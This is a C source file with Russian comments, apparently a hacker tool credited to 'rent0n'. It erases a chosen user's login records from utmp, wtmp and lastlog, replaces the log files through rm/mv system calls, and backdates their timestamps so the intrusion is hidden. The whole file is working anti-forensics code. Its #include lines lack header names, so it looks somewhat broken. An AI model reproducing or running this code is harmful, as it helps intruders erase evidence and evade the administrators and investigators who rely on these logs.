#include // Стандартная библиотека ввода-вывода #include // Тут все системные вызовы #include // Операции с файлами(open(...)) #include // Тут определены типы данных #include // Функция getpwnam(), чтобы узнать uid пользователя #include // Тут описаны структуры utmp и lastlog #include // Для совместимости с BSD #include // функция utime #include // Структура timeval // Если не определены WTMP_FILE и UTMP_FILE, то определяем их #ifndef WTMP_FILE #define WTMP_FILE "/var/log/wtmp" #endif #ifndef UTMP_FILE #define UTMP_FILE "/var/run/utmp" #endif #define LASTLOG_FILE "/var/log/lastlog" struct timeval tmv; // Функция удаления записей из /var/log/wtmp и /var/run/utmp. Принимает 4 параметра: имя очищаемого файла, имя юзера, название хоста и терминал. void clean_uwtmp(char *filename,char *arg_name,char *arg_host,char *arg_terminal) { struct utmp my_utmp; int fd,fd_tmp; int size; size=sizeof(struct utmp); if((fd=open(filename,O_RDONLY)) < 0){ perror("open"); exit(1); } if((fd_tmp=open("/tmp/uwtmp.tmp",O_CREAT|O_WRONLY)) < 0){ perror("open"); exit(1); } /* За 1 проход цикла считываем 1 запись в переменную my_utmp. * Если эта запись не содержит нужных данных, пишем ее в tmp-файл * Потом заменяем tmp-файлом исходный файл. */ while(read(fd,&my_utmp,size) == size){ if((strncmp(my_utmp.ut_name,arg_name,sizeof(my_utmp.ut_name))) || (strncmp(my_utmp.ut_host,arg_host,sizeof(my_utmp.ut_host))) || (strncmp(my_utmp.ut_line,arg_terminal,sizeof(my_utmp.ut_line)))){ // Проверяем время создания записи. Время пользователя, // вошедшего в систему перед вами сохраняется // в структуре tmv if (tmv.tv_sec < my_utmp.ut_tv.tv_sec) tmv.tv_sec = my_utmp.ut_tv.tv_sec; // Пишем во временный файл write(fd_tmp,&my_utmp,size); } } // Закрываем открытые файлы close(fd_tmp); close(fd); } // Функция удаления записей из /var/log/lastlog. void clean_lastlog(char *filename,char *arg_name) { struct lastlog my_lastlog; // структура типа lastlog struct passwd *pwd; // Указатель на структуру passwd int fd,fd_tmp;//Дескрипторы файлов int size;// размер структуры size = sizeof(struct lastlog); // Определяем uid пользователя if((pwd = getpwnam(arg_name)) < 0){ perror("getpwnam"); exit(1); } // Открываем файл на чтение/запись if((fd = open(filename,O_RDWR)) < 0){ perror("open"); exit(1); } // Передвигаем указатель на нашу запись lseek(fd,(long)pwd->pw_uid*size,0); // Обнуляем структуру с искомыми записями bzero((char*)&my_lastlog,size); // Записываем в файл измененную структуру write(fd,(char*)&my_lastlog,size); close(fd); } // Функция, меняющая время создания файла, заданного в ее параметрах void set_mod_time(char *filename) { struct utimbuf my_time; if (filename == UTMP_FILE){ // Тут мы удаляем исходный файл логов, а на его место // помещаем наш tmp-файл. После устанавливаем права доступа system("rm /var/run/utmp"); system("mv /tmp/uwtmp.tmp /var/run/utmp"); system("chmod 644 /var/run/utmp"); } if (filename == WTMP_FILE){ // Тут мы удаляем исходный файл логов, а на его место // помещаем наш tmp-файл. После устанавливаем права доступа system("rm /var/log/wtmp"); system("mv /tmp/uwtmp.tmp /var/log/wtmp"); system("chmod 644 /var/log/wtmp"); } // Модифицируем время доступа к файлам логов. my_time.actime = tmv.tv_sec; my_time.modtime = tmv.tv_sec; utime(filename,&my_time); } int main(int argc,char **argv) { if(argc < 4){ printf("******************************************\n"); printf("Usage: %s \n",argv[0]); printf("Options:\n"); printf(": user to hide\n"); printf(": host to hide\n"); printf(": terminal to hide\n"); printf("Written by rent0n\n"); printf("*******************************************\n"); exit(1); } // Поочередно чистим файлы логов clean_uwtmp(UTMP_FILE,argv[1],argv[2],argv[3]); set_mod_time(UTMP_FILE); printf("utmp cleaned!\n"); clean_uwtmp(WTMP_FILE,argv[1],argv[2],argv[3]); set_mod_time(WTMP_FILE); printf("wtmp cleaned!\n"); clean_lastlog(LASTLOG_FILE,argv[1]); set_mod_time(LASTLOG_FILE); printf("lastlog cleaned!\n"); return 0; }